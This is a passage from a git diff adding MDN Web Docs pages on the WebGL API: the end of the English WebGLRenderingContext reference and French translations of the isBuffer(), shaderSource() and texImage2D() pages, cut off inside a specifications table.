+ <dd>Reads a block of pixels from the <code>WebGLFrameBuffer</code>.</dd>
+</dl>
+
+<h2 id="Renderbuffers">Renderbuffers</h2>
+
+<dl>
+ <dt>{{domxref("WebGLRenderingContext.bindRenderbuffer()")}}</dt>
+ <dd>Binds a <code>WebGLRenderBuffer</code> object to a given target.</dd>
+ <dt>{{domxref("WebGLRenderingContext.createRenderbuffer()")}}</dt>
+ <dd>Creates a <code>WebGLRenderBuffer</code> object.</dd>
+ <dt>{{domxref("WebGLRenderingContext.deleteRenderbuffer()")}}</dt>
+ <dd>Deletes a <code>WebGLRenderBuffer</code> object.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getRenderbufferParameter()")}}</dt>
+ <dd>Returns information about the renderbuffer.</dd>
+ <dt>{{domxref("WebGLRenderingContext.isRenderbuffer()")}}</dt>
+ <dd>Returns a Boolean indicating if the passed <code>WebGLRenderingBuffer</code> is valid.</dd>
+ <dt>{{domxref("WebGLRenderingContext.renderbufferStorage()")}}</dt>
+ <dd>Creates a renderbuffer data store.</dd>
+</dl>
+
+<h2 id="Textures">Textures</h2>
+
+<dl>
+ <dt>{{domxref("WebGLRenderingContext.bindTexture()")}}</dt>
+ <dd>Binds a <code>WebGLTexture</code> object to a given target.</dd>
+ <dt>{{domxref("WebGLRenderingContext.compressedTexImage2D()")}}</dt>
+ <dd>Specifies a 2D texture image in a compressed format.</dd>
+ <dt>{{domxref("WebGLRenderingContext.compressedTexSubImage2D()")}}</dt>
+ <dd>Specifies a 2D texture sub-image in a compressed format.</dd>
+ <dt>{{domxref("WebGLRenderingContext.copyTexImage2D()")}}</dt>
+ <dd>Copies a 2D texture image.</dd>
+ <dt>{{domxref("WebGLRenderingContext.copyTexSubImage2D()")}}</dt>
+ <dd>Copies a 2D texture sub-image.</dd>
+ <dt>{{domxref("WebGLRenderingContext.createTexture()")}}</dt>
+ <dd>Creates a <code>WebGLTexture</code> object.</dd>
+ <dt>{{domxref("WebGLRenderingContext.deleteTexture()")}}</dt>
+ <dd>Deletes a <code>WebGLTexture</code> object.</dd>
+ <dt>{{domxref("WebGLRenderingContext.generateMipmap()")}}</dt>
+ <dd>Generates a set of mipmaps for a <code>WebGLTexture</code> object.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getTexParameter()")}}</dt>
+ <dd>Returns information about the texture.</dd>
+ <dt>{{domxref("WebGLRenderingContext.isTexture()")}}</dt>
+ <dd>Returns a Boolean indicating if the passed <code>WebGLTexture</code> is valid.</dd>
+ <dt>{{domxref("WebGLRenderingContext.texImage2D()")}}</dt>
+ <dd>Specifies a 2D texture image.</dd>
+ <dt>{{domxref("WebGLRenderingContext.texSubImage2D()")}}</dt>
+ <dd>Updates a sub-rectangle of the current <code>WebGLTexture</code>.</dd>
+ <dt>{{domxref("WebGLRenderingContext.texParameter", "WebGLRenderingContext.texParameterf()")}}</dt>
+ <dd>Sets texture parameters.</dd>
+ <dt>{{domxref("WebGLRenderingContext.texParameter", "WebGLRenderingContext.texParameteri()")}}</dt>
+ <dd>Sets texture parameters.</dd>
+</dl>
+
+<h2 id="Programs_and_shaders">Programs and shaders</h2>
+
+<dl>
+ <dt>{{domxref("WebGLRenderingContext.attachShader()")}}</dt>
+ <dd>Attaches a <code>WebGLShader</code> to a <code>WebGLProgram</code>.</dd>
+ <dt>{{domxref("WebGLRenderingContext.bindAttribLocation()")}}</dt>
+ <dd>Binds a generic vertex index to a named attribute variable.</dd>
+ <dt>{{domxref("WebGLRenderingContext.compileShader()")}}</dt>
+ <dd>Compiles a <code>WebGLShader</code>.</dd>
+ <dt>{{domxref("WebGLRenderingContext.createProgram()")}}</dt>
+ <dd>Creates a <code>WebGLProgram</code>.</dd>
+ <dt>{{domxref("WebGLRenderingContext.createShader()")}}</dt>
+ <dd>Creates a <code>WebGLShader</code>.</dd>
+ <dt>{{domxref("WebGLRenderingContext.deleteProgram()")}}</dt>
+ <dd>Deletes a <code>WebGLProgram</code>.</dd>
+ <dt>{{domxref("WebGLRenderingContext.deleteShader()")}}</dt>
+ <dd>Deletes a <code>WebGLShader</code>.</dd>
+ <dt>{{domxref("WebGLRenderingContext.detachShader()")}}</dt>
+ <dd>Detaches a <code>WebGLShader</code>.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getAttachedShaders()")}}</dt>
+ <dd>Returns a list of <code>WebGLShader</code> objects attached to a <code>WebGLProgram</code>.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getProgramParameter()")}}</dt>
+ <dd>Returns information about the program.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getProgramInfoLog()")}}</dt>
+ <dd>Returns the information log for a <code>WebGLProgram</code> object.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getShaderParameter()")}}</dt>
+ <dd>Returns information about the shader.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getShaderPrecisionFormat()")}}</dt>
+ <dd>Returns a <code>WebGLShaderPrecisionFormat</code> object describing the precision for the numeric format of the shader.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getShaderInfoLog()")}}</dt>
+ <dd>Returns the information log for a <code>WebGLShader</code> object.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getShaderSource()")}}</dt>
+ <dd>Returns the source code of a <code>WebGLShader</code> as a string.</dd>
+ <dt>{{domxref("WebGLRenderingContext.isProgram()")}}</dt>
+ <dd>Returns a Boolean indicating if the passed <code>WebGLProgram</code> is valid.</dd>
+ <dt>{{domxref("WebGLRenderingContext.isShader()")}}</dt>
+ <dd>Returns a Boolean indicating if the passed <code>WebGLShader</code> is valid.</dd>
+ <dt>{{domxref("WebGLRenderingContext.linkProgram()")}}</dt>
+ <dd>Links the passed <code>WebGLProgram</code> object.</dd>
+ <dt>{{domxref("WebGLRenderingContext.shaderSource()")}}</dt>
+ <dd>Sets the source code in a <code>WebGLShader</code>.</dd>
+ <dt>{{domxref("WebGLRenderingContext.useProgram()")}}</dt>
+ <dd>Uses the specified <code>WebGLProgram</code> as part the current rendering state.</dd>
+ <dt>{{domxref("WebGLRenderingContext.validateProgram()")}}</dt>
+ <dd>Validates a <code>WebGLProgram</code>.</dd>
+</dl>
+
+<h2 id="Uniforms_and_attributes">Uniforms and attributes</h2>
+
+<dl>
+ <dt>{{domxref("WebGLRenderingContext.disableVertexAttribArray()")}}</dt>
+ <dd>Disables a vertex attribute array at a given position.</dd>
+ <dt>{{domxref("WebGLRenderingContext.enableVertexAttribArray()")}}</dt>
+ <dd>Enables a vertex attribute array at a given position.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getActiveAttrib()")}}</dt>
+ <dd>Returns information about an active attribute variable.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getActiveUniform()")}}</dt>
+ <dd>Returns information about an active uniform variable.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getAttribLocation()")}}</dt>
+ <dd>Returns the location of an attribute variable.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getUniform()")}}</dt>
+ <dd>Returns the value of a uniform variable at a given location.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getUniformLocation()")}}</dt>
+ <dd>Returns the location of a uniform variable.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getVertexAttrib()")}}</dt>
+ <dd>Returns information about a vertex attribute at a given position.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getVertexAttribOffset()")}}</dt>
+ <dd>Returns the address of a given vertex attribute.</dd>
+ <dt>{{domxref("WebGLRenderingContext.uniform()", "WebGLRenderingContext.uniform[1234][fi][v]()")}}</dt>
+ <dd>Specifies a value for a uniform variable.</dd>
+ <dt>{{domxref("WebGLRenderingContext.uniformMatrix()", "WebGLRenderingContext.uniformMatrix[234]fv()")}}</dt>
+ <dd>Specifies a matrix value for a uniform variable.</dd>
+ <dt>{{domxref("WebGLRenderingContext.vertexAttrib()", "WebGLRenderingContext.vertexAttrib[1234]f[v]()")}}</dt>
+ <dd>Specifies a value for a generic vertex attribute.</dd>
+ <dt>{{domxref("WebGLRenderingContext.vertexAttribPointer()")}}</dt>
+ <dd>Specifies the data formats and locations of vertex attributes in a vertex attributes array.</dd>
+</dl>
+
+<h2 id="Drawing_buffers">Drawing buffers</h2>
+
+<dl>
+ <dt>{{domxref("WebGLRenderingContext.clear()")}}</dt>
+ <dd>Clears specified buffers to preset values.</dd>
+ <dt>{{domxref("WebGLRenderingContext.drawArrays()")}}</dt>
+ <dd>Renders primitives from array data.</dd>
+ <dt>{{domxref("WebGLRenderingContext.drawElements()")}}</dt>
+ <dd>Renders primitives from element array data.</dd>
+ <dt>{{domxref("WebGLRenderingContext.finish()")}}</dt>
+ <dd>Blocks execution until all previously called commands are finished.</dd>
+ <dt>{{domxref("WebGLRenderingContext.flush()")}}</dt>
+ <dd>Empties different buffer commands, causing all commands to be executed as quickly as possible.</dd>
+</dl>
+
+<h2 id="Working_with_extensions">Working with extensions</h2>
+
+<p>These methods manage WebGL extensions:</p>
+
+<dl>
+ <dt>{{domxref("WebGLRenderingContext.getSupportedExtensions()")}}</dt>
+ <dd>Returns an {{jsxref("Array")}} of {{domxref("DOMString")}} elements with all the supported WebGL extensions.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getExtension()")}}</dt>
+ <dd>Returns an extension object.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="WebGL_context_feature_detection">WebGL context feature detection</h3>
+
+<p>{{page("/en-US/Learn/WebGL/By_example/Detect_WebGL", "summary")}}</p>
+
+<p>{{page("/en-US/Learn/WebGL/By_example/Detect_WebGL", "detect-webgl-source")}}</p>
+
+<p>{{EmbedLiveSample("detect-webgl-source", 660,150 ,"" , "Learn/WebGL/By_example/Detect_WebGL")}}</p>
+
+<h3 id="Effect_of_canvas_size_on_rendering_with_WebGL">Effect of canvas size on rendering with WebGL</h3>
+
+<p>{{page("/en-US/Learn/WebGL/By_example/Canvas_size_and_WebGL", "canvas-size-and-webgl-intro")}}</p>
+
+<p>{{page("/en-US/Learn/WebGL/By_example/Canvas_size_and_WebGL", "canvas-size-and-webgl-source")}}</p>
+
+<p>{{EmbedLiveSample("canvas-size-and-webgl-source", 660,180 ,"" , "Learn/WebGL/By_example/Canvas_size_and_WebGL")}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14", "WebGLRenderingContext")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api/WebGLRenderingContext", "WebGLRenderingContext")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("HTMLCanvasElement")}}</li>
+</ul>
diff --git a/files/fr/web/api/webglrenderingcontext/isbuffer/index.html b/files/fr/web/api/webglrenderingcontext/isbuffer/index.html
new file mode 100644
index 0000000000..907a86ab2d
--- /dev/null
+++ b/files/fr/web/api/webglrenderingcontext/isbuffer/index.html
@@ -0,0 +1,79 @@
+---
+title: WebGLRenderingContext.isBuffer()
+slug: Web/API/WebGLRenderingContext/isBuffer
+tags:
+  - API
+  - Méthode
+  - WebGL
+  - WebGLRenderingContext
+translation_of: Web/API/WebGLRenderingContext/isBuffer
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>La méthode <strong><code>WebGLRenderingContext.isBuffer()</code></strong> de l'<a href="/fr-FR/docs/Web/API/WebGL_API">API WebGL</a> renvoie <code>true</code> si le {{domxref ("WebGLBuffer")}} passé est valide et <code>false</code> dans le cas contraire.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">GLboolean <var>gl</var>.isBuffer(<var>tampon</var>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>tampon</dt>
+ <dd>Un {{domxref("WebGLBuffer")}} à vérifier.</dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Un {{domxref("GLboolean")}} indiquant si le tampon est ou non valide.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Création_d'un_tampon">Création d'un tampon</h3>
+
+<pre class="brush: js">var canevas = document.getElementById('canevas');
+var gl = canevas.getContext('webgl');
+var tampon = gl.createBuffer();
+
+gl.isBuffer(tampon);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.5", "isBuffer")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glIsBuffer.xml", "glIsBuffer")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>
+    <p>Page man de l’API OpenGL.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, merci de regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.isBuffer")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.bindBuffer()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.createBuffer()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.deleteBuffer()")}}</li>
+ <li>Autres tampons : {{domxref("WebGLFramebuffer")}}, {{domxref("WebGLRenderbuffer")}}</li>
+</ul>
diff --git a/files/fr/web/api/webglrenderingcontext/shadersource/index.html b/files/fr/web/api/webglrenderingcontext/shadersource/index.html
new file mode 100644
index 0000000000..fb65393984
--- /dev/null
+++ b/files/fr/web/api/webglrenderingcontext/shadersource/index.html
@@ -0,0 +1,76 @@
+---
+title: WebGLRenderingContext.shaderSource()
+slug: Web/API/WebGLRenderingContext/shaderSource
+tags:
+  - API
+  - Méthode
+  - Reference
+  - WebGL
+  - WebGLRenderingContext
+translation_of: Web/API/WebGLRenderingContext/shaderSource
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>La méthode <strong><code>WebGLRenderingContext.shaderSource()</code></strong> de l'<a href="/en-US/docs/Web/API/WebGL_API">API WebGL</a> définit le code source d'un {{domxref("WebGLShader")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">void <var>gl</var>.shaderSource(<var>shader</var>, <var>source</var>);
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt>shader</dt>
+ <dd>Un objet {{domxref("WebGLShader")}} dans lequel définir le code source.</dd>
+ <dt>source</dt>
+ <dd>Une {{domxref("DOMString")}} contenant le code source GLSL à définir.</dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Aucune.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">var shader = gl.createShader(gl.VERTEX_SHADER);
+gl.shaderSource(shader, originalSource);
+
+var source = gl.getShaderSource(shader);</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.9", "shaderSource")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glShaderSource.xml", "glShaderSource")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>Page man de l'API OpenGL (similaire).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, merci de regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.shaderSource")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.createShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.deleteShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderSource()")}}</li>
+</ul>
diff --git a/files/fr/web/api/webglrenderingcontext/teximage2d/index.html b/files/fr/web/api/webglrenderingcontext/teximage2d/index.html
new file mode 100644
index 0000000000..902985faf4
--- /dev/null
+++ b/files/fr/web/api/webglrenderingcontext/teximage2d/index.html
@@ -0,0 +1,249 @@
+---
+title: WebGLRenderingContext.texImage2D()
+slug: Web/API/WebGLRenderingContext/texImage2D
+tags:
+  - API
+  - Méthode
+  - Reference
+  - Textures
+  - WebGL
+  - WebGLRenderingContext
+translation_of: Web/API/WebGLRenderingContext/texImage2D
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>La méthode <strong><code>WebGLRenderingContext.texImage2D()</code></strong> de l'<a href="/fr-FR/docs/Web/API/WebGL_API">API WebGL</a> spécifie une image de texture bidimensionnelle.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">// WebGL1:
+void <var>gl</var>.texImage2D(<var>cible</var>, <var>niveau</var>, <var>formatinterne</var>, <var>largeur</var>, <var>hauteur</var>, <var>bordure</var>, <var>format</var>, <var>type</var>, ArrayBufferView? <var>pixels</var>);
+void <var>gl</var>.texImage2D(<var>cible</var>, <var>niveau</var>, <var>formatinterne</var>, <var>format</var>, <var>type</var>, ImageData? <var>pixels</var>);
+void <var>gl</var>.texImage2D(<var>cible</var>, <var>niveau</var>, <var>formatinterne</var>, <var>format</var>, <var>type</var>, HTMLImageElement? <var>pixels</var>);
+void <var>gl</var>.texImage2D(<var>cible</var>, <var>niveau</var>, <var>formatinterne</var>, <var>format</var>, <var>type</var>, HTMLCanvasElement? <var>pixels</var>);
+void <var>gl</var>.texImage2D(<var>cible</var>, <var>niveau</var>, <var>formatinterne</var>, <var>format</var>, <var>type</var>, HTMLVideoElement? <var>pixels</var>);
+void <var>gl</var>.texImage2D(<var>cible</var>, <var>niveau</var>, <var>formatinterne</var>, <var>format</var>, <var>type</var>, ImageBitmap? <var>pixels</var>);
+
+// WebGL2:
+void gl.texImage2D(<var>cible</var>, <var>niveau</var>, <var>formatinterne</var>, <var>largeur</var>, <var>hauteur</var>, <var>bordure</var>, <var>format</var>, <var>type</var>, GLintptr <em>decalage</em>);
+void gl.texImage2D(<var>cible</var>, <var>niveau</var>, <var>formatinterne</var>, <var>largeur</var>, <var>hauteur</var>, <var>bordure</var>, <var>format</var>, <var>type</var>, HTMLCanvasElement <em>source</em>);
+void gl.texImage2D(<var>cible</var>, <var>niveau</var>, <var>formatinterne</var>, <var>largeur</var>, <var>hauteur</var>, <var>bordure</var>, <var>format</var>, <var>type</var>, HTMLImageElement <em>source</em>);
+void gl.texImage2D(<var>cible</var>, <var>niveau</var>, <var>formatinterne</var>, <var>largeur</var>, <var>hauteur</var>, <var>bordure</var><em>, format, type</em>, HTMLVideoElement <em>source</em>);
+void gl.texImage2D(<var>cible</var>, <var>niveau</var>, <var>formatinterne</var>, <var>largeur</var>, <var>hauteur</var>, <var>bordure</var><em>, format, type</em>, ImageBitmap <em>source</em>);
+void gl.texImage2D(<var>cible</var>, <var>niveau</var>, <var>formatinterne</var>, <var>largeur</var>, <var>hauteur</var>, <var>bordure</var><em>, format, type</em>, ImageData <em>source</em>);
+void gl.texImage2D(<var>cible</var>, <var>niveau</var>, <var>formatinterne</var>, <var>largeur</var>, <var>hauteur</var>, <var>bordure</var><em>, format, type</em>, ArrayBufferView <em>donneesSrc</em>, <em>decalageSrc</em>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>cible</code></dt>
+ <dd>Un {{domxref ("GLenum")}} indiquant le point de liaison (cible) de la texture active. Valeurs possibles :
+ <ul>
+  <li><code>gl.TEXTURE_2D</code> : une texture bidimensionnelle ;</li>
+  <li><code>gl.TEXTURE_CUBE_MAP_POSITIVE_X</code> : face X positive pour une texture mappée sur un cube ;</li>
+  <li><code>gl.TEXTURE_CUBE_MAP_NEGATIVE_X</code> : face X négative pour une texture mappée sur un cube ;</li>
+  <li><code>gl.TEXTURE_CUBE_MAP_POSITIVE_Y</code> : face Y positive pour une texture mappée sur un cube ;</li>
+  <li><code>gl.TEXTURE_CUBE_MAP_NEGATIVE_Y</code> : face Y négative pour une texture mappée sur un cube ;</li>
+  <li><code>gl.TEXTURE_CUBE_MAP_POSITIVE_Z</code> : face Z positive pour une texture mappée sur un cube ;</li>
+  <li><code>gl.TEXTURE_CUBE_MAP_NEGATIVE_Z</code> : face Z négative pour une texture mappée sur un cube.</li>
+ </ul>
+ </dd>
+</dl>
+
+<dl>
+ <dt><code>niveau</code></dt>
+ <dd>Un {{domxref ("GLint")}} indiquant le niveau de détail. Le niveau 0 est le niveau de l'image de base et le niveau n est le n-ième niveau de réduction du mipmap.</dd>
+ <dt><code>formatinterne</code></dt>
+ <dd>Un {{domxref ("GLint")}} indiquant les composantes de couleur dans la texture. Valeurs possibles :
+ <ul>
+  <li><code>gl.ALPHA</code> : ignore les composantes rouge, vert et bleu, et lit la composante alpha ;</li>
+  <li><code>gl.RGB</code> : ignore la composante alpha et lit les composantes rouge, vert et bleu ;</li>
+  <li><code>gl.RGBA</code> : les composantes rouge, vert, bleu et alpha sont lues à partir du tampon des couleurs ;</li>
+  <li><code>gl.LUMINANCE</code> : chaque composante de couleur est une composante de luminance, alpha vaut 1,0 ;</li>
+  <li><code>gl.LUMINANCE_ALPHA</code> : chaque composante est une composante de luminance/alpha ;</li>
+  <li>lors de l'utilisation de l'extension {{domxref("WEBGL_depth_texture")}} :
+   <ul>
+    <li><code>gl.DEPTH_COMPONENT</code></li>
+    <li><code>gl.DEPTH_STENCIL</code></li>
+   </ul>
+  </li>
+  <li>lors de l'utilisation de l'extension {{domxref("EXT_sRGB")}} :
+   <ul>
+    <li><code>ext.SRGB_EXT</code></li>
+    <li><code>ext.SRGB_ALPHA_EXT</code></li>
+   </ul>
+  </li>
+  <li>Lors de l'utilisation d'un {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}}, les valeurs suivantes sont en outre disponibles :
+   <ul>
+    <li><code>gl.R8</code></li>
+    <li><code>gl.R16F</code></li>
+    <li><code>gl.R32F</code></li>
+    <li><code>gl.R8UI</code></li>
+    <li><code>gl.RG8</code></li>
+    <li><code>gl.RG16F</code></li>
+    <li><code>gl.RG32F</code></li>
+    <li><code>gl.RG8UI</code></li>
+    <li><code>gl.RG16UI</code></li>
+    <li><code>gl.RG32UI</code></li>
+    <li><code>gl.RGB8</code></li>
+    <li><code>gl.SRGB8</code></li>
+    <li><code>gl.RGB565</code></li>
+    <li><code>gl.R11F_G11F_B10F</code></li>
+    <li><code>gl.RGB9_E5</code></li>
+    <li><code>gl.RGB16F</code></li>
+    <li><code>gl.RGB32F</code></li>
+    <li><code>gl.RGB8UI</code></li>
+    <li><code>gl.RGBA8</code></li>
+    <li><code>gl.SRGB8_APLHA8</code></li>
+    <li><code>gl.RGB5_A1</code></li>
+    <li><code>gl.RGB10_A2</code></li>
+    <li><code>gl.RGBA4</code></li>
+    <li><code>gl.RGBA16F</code></li>
+    <li><code>gl.RGBA32F</code></li>
+    <li><code>gl.RGBA8UI</code></li>
+   </ul>
+  </li>
+ </ul>
+ </dd>
+ <dt><code>largeur</code></dt>
+ <dd>Un {{domxref ("GLsizei")}} indiquant la largeur de la texture.</dd>
+ <dt><code>hauteur</code></dt>
+ <dd>Un {{domxref ("GLsizei")}} indiquant la hauteur de la texture.</dd>
+ <dt><code>bordure</code></dt>
+ <dd>Un {{domxref("GLint")}} indiquant la largeur de la bordure. Doit être 0.</dd>
+ <dt><code>format</code></dt>
+ <dd>Un {{domxref("GLenum")}} indiquant le format des données de texel. En WebGL 1, cela doit être identique à <code>formatinterne</code> (voir ci-dessus). En WebGL 2, les combinaisons sont répertoriées dans <a href="https://www.khronos.org/registry/webgl/specs/latest/2.0/#TEXTURE_TYPES_FORMATS_FROM_DOM_ELEMENTS_TABLE">ce tableau</a>.</dd>
+ <dt><code>type</code></dt>
+ <dd>Un {{domxref("GLenum")}} indiquant le type de données des données de texel. Valeurs possibles :
+ <ul>
+  <li><code>gl.UNSIGNED_BYTE</code> : 8 bits par canal pour <code>gl.RGBA</code> ;</li>
+  <li><code>gl.UNSIGNED_SHORT_5_6_5</code> : 5 bits de rouge, 6 bits de vert, 5 bits de bleu ;</li>
+  <li><code>gl.UNSIGNED_SHORT_4_4_4_4</code> : 4 bits de rouge, 4 bits de vert, 4 bits de bleu, 4 bits d'alpha ;</li>
+  <li><code>gl.UNSIGNED_SHORT_5_5_5_1</code> : 5 bits de rouge, 5 bits de vert, 5 bits de bleu, 1 bit d'alpha ;</li>
+  <li>lors de l'utilisation de l'extension {{domxref ("WEBGL_depth_texture")}} :
+   <ul>
+    <li><code>gl.UNSIGNED_SHORT</code></li>
+    <li><code>gl.UNSIGNED_INT</code></li>
+    <li><code>ext.UNSIGNED_INT_24_8_WEBGL</code> (constante fournie par l'extension)</li>
+   </ul>
+  </li>
+  <li>lors de l'utilisation de l'extension {{domxref("OES_texture_float")}} :
+   <ul>
+    <li><code>gl.FLOAT</code></li>
+   </ul>
+  </li>
+  <li>lors de l'utilisation de l'extension {{domxref("OES_texture_half_float")}} :
+   <ul>
+    <li><code>ext.HALF_FLOAT_OES</code> (constante fournie par l'extension)</li>
+   </ul>
+  </li>
+  <li>lors de l'utilisation d'un {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}}, les valeurs suivantes sont en outre disponibles :
+   <ul>
+    <li><code>gl.BYTE</code></li>
+    <li><code>gl.UNSIGNED_SHORT</code></li>
+    <li><code>gl.SHORT</code></li>
+    <li><code>gl.UNSIGNED_INT</code></li>
+    <li><code>gl.INT</code></li>
+    <li><code>gl.HALF_FLOAT</code></li>
+    <li><code>gl.FLOAT</code></li>
+    <li><code>gl.UNSIGNED_INT_2_10_10_10_REV</code></li>
+    <li><code>gl.UNSIGNED_INT_10F_11F_11F_REV</code></li>
+    <li><code>gl.UNSIGNED_INT_5_9_9_9_REV</code></li>
+    <li><code>gl.UNSIGNED_INT_24_8</code></li>
+    <li><code>gl.FLOAT_32_UNSIGNED_INT_24_8_REV</code> (les pixels doivent être {{jsxref("null")}})</li>
+   </ul>
+  </li>
+ </ul>
+ </dd>
+ <dt><code>pixels</code></dt>
+ <dd>L'un des objets suivants peut être utilisé comme source de pixels pour la texture :
+ <ul>
+  <li>{{domxref("ArrayBufferView")}},
+   <ul>
+    <li>un {{jsxref("Uint8Array")}} doit être utilisé si <code>type</code> est <code>gl.UNSIGNED_BYTE</code> ;</li>
+    <li>un {{jsxref("Uint16Array")}} doit être utilisé si <code>type</code> est <code>gl.UNSIGNED_SHORT_5_6_5</code>, <code>gl.UNSIGNED_SHORT_4_4_4_4</code>, <code>gl.UNSIGNED_SHORT_5_5_5_1</code>, <code>gl.UNSIGNED_SHORT</code> ou <code>ext.HALF_FLOAT_OES</code> ;</li>
+    <li>un {{jsxref("Uint32Array")}} doit être utilisé si <code>type</code> est <code>gl.UNSIGNED_INT</code> ou <code>ext.UNSIGNED_INT_24_8_WEBGL</code> ;</li>
+    <li>un {{jsxref("Float32Array")}} doit être utilisé si <code>type</code> est <code>gl.FLOAT</code> ;</li>
+   </ul>
+  </li>
+  <li>{{domxref("ImageData")}},</li>
+  <li>{{domxref("HTMLImageElement")}},</li>
+  <li>{{domxref("HTMLCanvasElement")}},</li>
+  <li>{{domxref("HTMLVideoElement")}},</li>
+  <li>{{domxref("ImageBitmap")}}.</li>
+ </ul>
+ </dd>
+ <dt><code><strong>decalage</strong></code></dt>
+ <dd>(WebGL 2 seulement) Un décalage en octets {{domxref("GLintptr")}} dans le magasin de données du {{domxref("WebGLBuffer")}}. Utilisé pour télécharger des données vers la {{domxref ("WebGLTexture")}} liée, depuis le <code>WebGLBuffer</code> lié à la cible <code>PIXEL_UNPACK_BUFFER</code>.</dd>
+ <dd>
+ <ul>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Aucune.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA, gl.RGBA, gl.UNSIGNED_BYTE, image);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.8", "texImage2D")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>
+    <p>Définition initiale pour WebGL.</p>
+   </td>
+  </tr>
+  <tr>
